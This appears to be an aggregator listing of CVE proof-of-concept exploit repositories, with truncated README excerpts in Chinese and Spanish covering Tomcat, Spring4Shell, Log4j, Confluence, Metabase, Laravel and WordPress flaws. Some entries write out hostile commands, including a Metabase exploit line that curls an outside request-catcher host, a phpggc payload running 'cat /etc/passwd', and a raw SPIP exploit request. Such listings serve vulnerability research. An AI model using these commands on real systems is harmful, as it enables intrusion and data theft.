CVE-2024-28741-northstar-agent-rce-poc

NorthStar C2代理RCE via 存储型XSS CVE-2024-28741的代理RCE PoC，NorthStar C2中的一个存储型XSS漏洞。 此漏洞利用通过向团队服务器发送多个恶意代理注册请求，在日志网页中逐步构建一个可运行的JavaScript负载。该XSS可用于在NorthStar C2代理上执行命令。 完整说明：https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/...

CVE-2020-9484

CVE-2020-9484 PoC para CVE-2020-9484 PoC para CVE-2020-9484 Apache Tomcat RCE por deserialización CVE-2020-9484 Explorar la documentación » Comenzando 1. Clona este repositorio, luego podrás usar CVE-2020-9484 y modificar el código fuente si es necesario. 2. Descarga ysoserial jar 3. Coloca...

Spring4Shell

Spring RCE CVE-2022-22965 Entorno de vulnerabilidad Información del entorno springboot jdk11 tomcat9.0.30 payload Configuración de cabeceras de solicitud "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Datos del cuerpo de la solicitud...

cve-2020-35717

CVE-2020–35717 zonote 允许通过精心构造的笔记触发 XSS，并导致远程代码执行（因为启用了 Node.js 集成）。 漏洞利用步骤 下载任何受影响的 zonote 版本 打开 zonote 应用 通过 菜单 打开，将 xss-rce.znt 导入 zonote 将鼠标悬停在导入笔记中的不同链接上 披露时间线 2020-12-26 发现漏洞并与项目所有者联系 2020-12-26 项目所有者表示无意维护仓库或修复漏洞 2021-01-01 公开披露漏洞...

CVE-2025-6058

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 未授权文件上传利用工具 针对 WordPress WPBookit 插件（≤ 1.0.4）的未授权任意文件上传利用工具 该利用工具支持远程 Shell 上传和完整命令执行。 作者：0xgh057r3c0n 📌 关于漏洞 CVE-2025-6058 是一个影响 WordPress CMS 上 WPBookit 插件的严重漏洞。未授权攻击者可利用存在漏洞的 AJAX 端点上传任意 PHP 文件，从而实现 远程代码执行（RCE） 。 🎯 目标 ：WordPress CMS（存在漏洞的 WPBookit 插...

exploit_laravel_cve-2018-15133

Exploit de Laravel para CVE-2018-15133 Este código explota CVE-2018-15133 y está basado en el PoC de kosmiz y el exploit de Metasploit para esta vulnerabilidad. Básicamente lo hice para una máquina en Hack The Box, porque no quería usar Metasploit en ese momento y como excusa para practicar Pytho...

CVE-2021-43503

警告 该漏洞已被撤销 Override 这是关于 CVE-2021-43503 的内容，我无法通过 exp 重现此漏洞。 需求 PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c $this-manager-method=$c; namespace Mockery class ClosureWrapper private $closure; public function...

CVE-2021-44228-demo

log4j-shell-poc Una prueba de concepto Proof-of-Concept para la vulnerabilidad CVE-2021-44228 recientemente descubierta. Recientemente se encontró una nueva vulnerabilidad en log4j, una librería de logging de Java que es muy utilizada en sistemas como elasticsearch, minecraft y muchos otros. En...

CVE-2016-2098

CVE-2016-2098 当在用户提供的数据上使用 render 时，Ruby-on-Rails 中的远程代码执行漏洞。 说明： 此问题源于对用户提供的数据使用 render 方法。 render 方法通常用于从模板渲染页面，但 render 方法也允许开发者渲染纯文本（plaintext）甚至内联代码（inline）。 render 函数： File actionpack/lib/abstractcontroller/rendering.rb, line 23 def renderargs, &block options = normalizerenderargs, &block...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE Instalación git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt Uso URL individual pocsuite -r ../CVE-2022-26134.py -u url --verify URL múltiples pocsuite -r ../CVE-2022-26134.py -f url.txt --verify...

RCE_CVE-2024-7954

RCECVE-2024-7954 描述： SPIP 4.30-alpha2、4.2.13 及 4.1.16 之前版本使用的 porteplume 插件存在任意代码执行漏洞。远程未认证攻击者可通过发送特制的 HTTP 请求，以 SPIP 用户身份执行任意 PHP 代码。（严重） 利用方法： POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded data=AA-URLBB 使用的工具： Nuclei -l目标文件 -t模板...

CVE-2023-38646

CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 python3 single.py -u http://127.0.0.1:8080 -c...

CVE-2021-3129

CVE-2021-3129 生成自定义命令的phar包： php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a 进入php命令行环境 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...

CVE-2025-30065

💥 CVE-2025-30065 - Parquet 反序列化 PoC 该项目演示了 CVE-2025-30065 的安全概念验证，利用 Apache Parquet 和 Java 反序列化。 当读取包含序列化 Java 对象的 Parquet 文件时，负载会执行一条可见命令以证明代码执行。 📦 使用方法 生成 Parquet 负载： docker-compose run --rm maven-parquet mvn compile exec:java -Dexec.mainClass=ParquetPayloadWriter docker-compose run --rm...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 示例：...

CVE-2023-3519

CVE-2023-3519 因为你可以在你妈妈的电脑上运行powershell，而无需安装NMAP或PYTHON，也无需告诉任何人你运行的是ARCH！; x...

CVE-2019-15858

CVE-2019-15858 Ejecución remota de código no autenticada en Woody Ad Snippets PoC Las vulnerabilidades descubiertas por nintechnet y exploit publicado por GeneralEG y X-Vector Una vulnerabilidad de importación de opciones no autenticada combinada con una vulnerabilidad de XSS almacenado puede...

CVE-2023-37941

利用Superset默认缓存中的Pickle RCE漏洞 信息 作者 Dinis Cruz 项目 Superset 描述 Apache Superset提供了多种缓存选项，所有这些选项都基于Flask-Caching。它提供了一个内置缓存，该缓存将值序列化以便后续检索。此序列化和检索使用Pickle完成，这允许反序列化Python对象，从而可以执行代码。 内置缓存将信息写入元数据数据库，这意味着能够访问该数据库的攻击者可以提升其权限，并获得对提供Superset服务的机器/容器的远程访问。 受影响的URL 或组件...

CVE-2026-Pending-Claude-Desktop-RCE

Este repositorio no tiene un README...

Xibo-CMS-Zip-Slip-RCE-Exploit-CVE-2023-33177

Exploit de Zip Slip RCE en Xibo CMS CVE-2023-33177 Este exploit demuestra una vulnerabilidad de path traversal en Xibo CMS CVE-2023-33177 que permite la ejecución remota de código mediante importaciones maliciosas de diseños. Detalles de la vulnerabilidad CVE/Aviso: CVE-2023-33177 Versiones...